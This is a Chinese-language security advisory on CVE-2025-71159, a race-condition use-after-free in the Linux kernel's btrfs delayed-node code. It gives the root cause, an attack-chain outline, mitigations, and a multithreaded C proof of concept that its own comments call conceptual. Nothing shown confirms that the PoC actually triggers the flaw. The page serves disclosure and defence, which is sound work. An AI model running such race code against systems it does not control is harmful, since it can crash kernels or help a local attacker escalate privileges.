IPBUF安全漏洞报告
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CVE-2025-71159 CVSS 7.8 高危

CVE-2025-71159: Linux内核btrfs use-after-free内存安全漏洞

披露日期: 2026-01-23
来源: 416baaa9-dc9f-4396-8d5f-8c081fb06d67

漏洞信息

漏洞编号
CVE-2025-71159
漏洞类型
Use-after-free / 竞态条件漏洞
CVSS评分
7.8 高危
攻击向量
本地 (AV:L)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Linux kernel btrfs

相关标签

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漏洞概述

CVE-2025-71159是Linux内核btrfs文件系统中的一个高危内存安全漏洞,CVSS评分达到7.8分。该漏洞存在于btrfs_get_or_create_delayed_node()函数中,由于内存屏障处理不当导致use-after-free条件。漏洞的根本原因在于btrfs_get_or_create_delayed_node()函数中refcount_set操作的重新排列。原始实现中,refcount_set操作在获取root->delayed_nodes锁之前执行,而后续的提交e8513c012de7将refcount_set移至临界区内。这一变更破坏了原有的内存顺序保证,导致node->refs和btrfs_inode->delayed_node的存储操作可能乱序可见。本地低权限攻击者可通过触发特定竞态条件,读取尚未设置的delayed_node指针并尝试增加尚未初始化的引用计数,从而触发引用计数错误和use-after-free警告。该漏洞影响Linux内核的btrfs文件系统组件,攻击复杂度低,无需用户交互即可触发。

技术细节

该漏洞的技术核心在于内存屏障缺失导致的指令重排问题。在btrfs_get_or_create_delayed_node()函数中,commit e8513c012de7将refcount_set操作从锁外移至锁内,但这一变更引入了严重的内存顺序问题。原始设计中,锁获取操作提供了隐式的内存屏障,确保refcount_set和btrfs_inode->delayed_node赋值操作的顺序性。修改后,这两个关键存储操作之间缺乏同步原语保护。当一个线程正在初始化delayed_node时,另一个线程可能通过btrfs_inode->delayed_node读取到部分初始化的对象指针,并尝试对其执行refcount_inc操作。由于此时引用计数尚未设置,refcount_inc将操作一个未初始化的atomic_t变量,导致引用计数损坏。攻击者可通过创建两个执行路径:一个线程持续调用btrfs_get_or_create_delayed_node()创建新节点,另一个线程尝试访问这些节点,触发use-after-free条件。修复方案是将refcount_set操作恢复至锁获取之前,利用锁的隐式内存屏障保证内存顺序,同时将分配模式从GFP_ATOMIC改为GFP_NOFS以优化性能。

攻击链分析

STEP 1
1
攻击者以低权限本地用户身份登录系统,系统需使用btrfs文件系统
STEP 2
2
攻击者创建多个线程,部分线程执行文件操作触发btrfs_get_or_create_delayed_node()创建延迟节点
STEP 3
3
其他线程并发执行文件读取操作,尝试访问尚未完成初始化的delayed_node
STEP 4
4
由于内存屏障缺失,btrfs_inode->delayed_node指针在refcount_set之前被其他线程可见
STEP 5
5
读取线程尝试对未初始化refcount的节点执行引用计数增加操作,导致引用计数损坏
STEP 6
6
触发use-after-free条件,可能导致内核崩溃(拒绝服务)或潜在的特权升级

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
/* * CVE-2025-71159 PoC - btrfs delayed_node use-after-free * This is a conceptual proof-of-concept demonstrating the race condition. * Actual exploitation requires kernel debugging and specific btrfs operations. * * Compile: gcc -o cve_poc cve_poc.c -lpthread * Run as low-privileged user on btrfs filesystem */ #include <stdio.h> #include <stdlib.h> #include <pthread.h> #include <unistd.h> #include <fcntl.h> #include <string.h> #define NUM_THREADS 4 #define NUM_ITERATIONS 10000 void *writer_thread(void *arg) { /* * Thread that triggers delayed node creation via btrfs operations. * This thread performs file operations that invoke btrfs_get_or_create_delayed_node(). * The race condition occurs when refcount is set inside the lock critical section. */ int fd; char filepath[256]; for (int i = 0; i < NUM_ITERATIONS; i++) { snprintf(filepath, sizeof(filepath), "/mnt/btrfs/test_file_%d", i % 100); fd = open(filepath, O_CREAT | O_WRONLY, 0644); if (fd >= 0) { write(fd, "test data", 9); /* Force delayed node allocation */ fsync(fd); close(fd); } } return NULL; } void *reader_thread(void *arg) { /* * Thread that attempts to access delayed nodes concurrently. * This can trigger the use-after-free when reading delayed_node * before refcount is properly set. */ int fd; char filepath[256]; for (int i = 0; i < NUM_ITERATIONS; i++) { snprintf(filepath, sizeof(filepath), "/mnt/btrfs/test_file_%d", i % 100); fd = open(filepath, O_RDONLY); if (fd >= 0) { /* * Read operations may access delayed_node concurrently. * Under race conditions, this can trigger the use-after-free. */ char buf[512]; read(fd, buf, sizeof(buf)); close(fd); } /* Small delay to increase race window */ usleep(1); } return NULL; } int main() { pthread_t threads[NUM_THREADS]; printf("CVE-2025-71159 PoC - btrfs delayed_node UAF\n"); printf("This PoC demonstrates concurrent access to btrfs delayed nodes.\n"); printf("Target: Linux kernel btrfs use-after-free in btrfs_get_or_create_delayed_node()\n"); /* Create writer threads */ for (int i = 0; i < NUM_THREADS / 2; i++) { pthread_create(&threads[i], NULL, writer_thread, NULL); } /* Create reader threads */ for (int i = NUM_THREADS / 2; i < NUM_THREADS; i++) { pthread_create(&threads[i], NULL, reader_thread, NULL); } /* Wait for all threads */ for (int i = 0; i < NUM_THREADS; i++) { pthread_join(threads[i], NULL); } printf("PoC execution completed. Check dmesg for use-after-free warnings.\n"); return 0; }

影响范围

Linux kernel btrfs (commit e8513c012de7引入漏洞)
受影响的内核版本需包含commit e8513c012de7至修复版本之间的代码

防御指南

临时缓解措施
由于该漏洞位于内核层面,临时缓解措施有限。建议:1) 监控系统日志中的use-after-free警告信息;2) 限制非特权用户对btrfs文件系统的访问权限;3) 如可能,考虑暂时使用其他文件系统替代btrfs;4) 实施最小权限原则,确保普通用户无法执行复杂的文件操作触发竞态条件。核心缓解仍需通过内核升级实现。

参考链接

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